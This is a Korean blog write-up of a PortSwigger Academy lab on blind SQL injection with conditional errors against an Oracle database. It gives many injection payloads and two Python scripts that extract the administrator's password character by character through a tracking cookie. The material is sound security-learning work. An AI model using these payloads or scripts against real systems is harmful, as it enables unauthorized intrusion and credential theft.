Dork's port

SQL-injection - Blind SQL injection with conditional errors 본문

portswigger-academy

SQL-injection - Blind SQL injection with conditional errors

Dork94 2020. 7. 14. 16:28
  • 이 문제는 웹 페이지에서 특정 문자로 condition을 확인하는 게 아닌 500 error 를 통해 확인하는 문제

  • ' UNION SELECT password FROM users where username='administrator'-- == True

  • ' UNION SELECT password,'a' FROM users where username='administrator'-- == False

  • 즉, False일땐 페이지가 정상적으로 로드되지 않는다. 따라서, condition에 따라 error를 return 하도록 해야하며, portswigger cheat sheet에서 찾을 수 있다.

  • ' UNION SELECT if(1,'a','b') from users -- 이렇게 해봤는데 안되네.. 안되는 이유가 뭐지? ' UNION SELECT 'a' from users -- 이건 됨.

  • 당연히 mysql 일거라 생각하고 했는데 Oracle 인 것 같다. ' UNION SELECT banner from v$version -- 을 해보니 정상적으로 페이지가 load 됨

  • Database version

    • Oracle : SELECT nanner FROM v$version
    • Microsoft : SELECT @@version
    • PostgreSQL : SELECT version()
    • MySQL : SELECT @@version
  • ' UNION SELECT CASE WHEN (1=2) THEN to_char(1/0) ELSE NULL END FROM dual -- 이러면 정상적으로 페이지가 로드되는데 즉, 조건이 거짓일때 에러가 나온다. 그래서 조건이 참일때 정상적으로 페이지를 로드하고 싶어서 아래와 같이 바꿨는데 동작안함

  • ' UNION SELECT CASE WHEN (1=1) THEN NULL END FROM dual ELSE to_char(1/0) --

  • 일단 위의 조건으로 시작해보자.

  • ' UNION SELECT CASE WHEN (SELECT ASCII(SUBSTR(password FROM users where username='administrator',1,1))<0) THEN NULL END FROM dual ELSE to_char(1/0) -- 이렇게 했는데 안되네..

  • 오라클 문법 테스트를 위해서 orcal live 에서 테스트를 하고 있다.

  • ' UNION SELECT CASE WHEN (SELECT ASCII(SUBSTR(password,1,1)) FROM users) < 0 THEN to_char(1/0) ELSE NULL END FROM dual -- 이렇게 하면 된다. 위에서 문법을 잘못적었따리..

  • 위의 문장이 Oracle live에서는 되는데 웹페이지에서는 동작을 안하는듯.. 왜지? SELECT password from users ' UNION SELECT CASE WHEN (SELECT ASCII(SUBSTR(password,1,1)) FROM users) < 0 THEN to_char(1/0) ELSE NULL END FROM dual; 이건 정상 동작하는걸 확인했는데..

  • ' UNION SELECT CASE WHEN ASCII(SUBSTR(password,1,1)) < 0 THEN to_char(1/0) ELSE NULL END FROM users -- 된다 된다!!! 이게 된다. 맨 마지막의 FROM dualELSE 에 종속되는게 아니라 UNION SELECT 전체에 종속되어있는거구나.

  • 비트연산을 위해선 ' UNION SELECT CASE WHEN BITAND(ASCII(SUBSTR(password,1,1)),1)=1 THEN to_char(1/0) ELSE NULL END FROM users 이렇게 비교를 하면됩니당~

  • 또 왜 portswigger는 안되지..?

  • ' UNION SELECT CASE WHEN ASCII(SUBSTR(password,1,1))=110 THEN to_char(1/0) ELSE NULL END FROM users -- 이건, 조건이 정상적으로 동작함

  • ' UNION SELECT CASE WHEN BITAND(ASCII(SUBSTR(password,1,1)),1)=0 THEN to_char(1/0) ELSE NULL END FROM users --

  • ' UNION SELECT CASE WHEN BITAND(ASCII(SUBSTR(password,1,1)),1)=1 THEN to_char(1/0) ELSE NULL END FROM users --

  • 아니 이해가 안되는게 ' UNION SELECT CASE WHEN BITAND(ASCII(SUBSTR(password,1,1)),1)>1 THEN to_char(1/0) ELSE NULL END FROM users -- 이건 페이지가 정상적으로 로드 (False)가 되는데, ' UNION SELECT CASE WHEN BITAND(ASCII(SUBSTR(password,1,1)),1)>0 THEN to_char(1/0) ELSE NULL END FROM users -- 이건 페이지가 로드가 안됨 (True)

  • 정리하면 BITAND(ASCII(SUBSTR(password,1,1)),1) 의 값이 0보단 크고 1보단 크지 않다는건데 이게 말이되나? 비트연산 했는데..?

  • 우선 password의 길이는 ' UNION SELECT CASE WHEN length(password)=20 THEN to_char(1/0) ELSE NULL END FROM users -- 을 통해 20이라는것을 알아냄

  • 착오가 있었다,뒤에 where 로 admin의 계정을 얻어야 하는데, 그러지 않았네.. 그것때문에 오류가 있었던 듯 ' UNION SELECT CASE WHEN ASCII(SUBSTR(password,1,1))=99 THEN to_char(1/0) ELSE NULL END FROM users where username='administrator'-- 이렇게 하면 된다(세션이 만료되어서 99로 다시 테스트함)

  • 내실수가 맞았구나... 아래 코드로 우선 풀이는 진행했다.

    import requests
    
    pass_length = 20
    password = str()
    
    for i in range(1, pass_length+1):
        for code in reversed(range(32, 128)):
            cookies = {
                '$Cookie: session': 'MdNIn681XsG1bosvxIfE8VLYRHuJeInB',
                'TrackingId': '\' UNION SELECT CASE WHEN ASCII(SUBSTR(password,{0},1))={1} THEN to_char(1/0) ELSE NULL END FROM users where username=\'administrator\'--'.format(i, code),
            }
    
            headers = {
                'Connection': 'keep-alive',
                'Cache-Control': 'max-age=0',
                'Upgrade-Insecure-Requests': '1',
                'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
                'Sec-Fetch-Site': 'cross-site',
                'Sec-Fetch-Mode': 'navigate',
                'Sec-Fetch-User': '?1',
                'Sec-Fetch-Dest': 'document',
                'Referer': 'https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors',
                'Accept-Language': 'en-US,en;q=0.9',
            }
    
            response = requests.get('https://ac471f131e890de480401b4a009900f2.web-security-academy.net/', headers=headers, cookies=cookies)
            if '"Internal Server Error"' in response.text:
                print('FOUND {0} : {1}'.format(i, chr(code)))
                password += chr(code)
                break
    
    print(password)
    
  • 그리고 어제 rubiya에게 받은 팁으로 작성한 코드는 아래와 같다.

  • for i in range(1, pass_length+1):
        code = 0
        for j in range(1, 8):
            cookies = {
                '$Cookie: session': 'MdNIn681XsG1bosvxIfE8VLYRHuJeInB',
                'TrackingId': '\' UNION SELECT CASE WHEN BITAND(ASCII(SUBSTR(password,{0},1)),{1})={1} THEN to_char(1/0) ELSE NULL END FROM users where username=\'administrator\'--'.format(i, 1 << j-1),
            }
    
            headers = {
                'Connection': 'keep-alive',
                'Cache-Control': 'max-age=0',
                'Upgrade-Insecure-Requests': '1',
                'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
                'Sec-Fetch-Site': 'cross-site',
                'Sec-Fetch-Mode': 'navigate',
                'Sec-Fetch-User': '?1',
                'Sec-Fetch-Dest': 'document',
                'Referer': 'https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors',
                'Accept-Language': 'en-US,en;q=0.9',
            }
    
            response = requests.get('https://ac471f131e890de480401b4a009900f2.web-security-academy.net/', headers=headers, cookies=cookies)
            if '"Internal Server Error"' in response.text:
                code += 1 << j-1
    
        password += chr(code)
    print(password)
  • 훠어어어어얼씬 빠름 ㅋ

Comments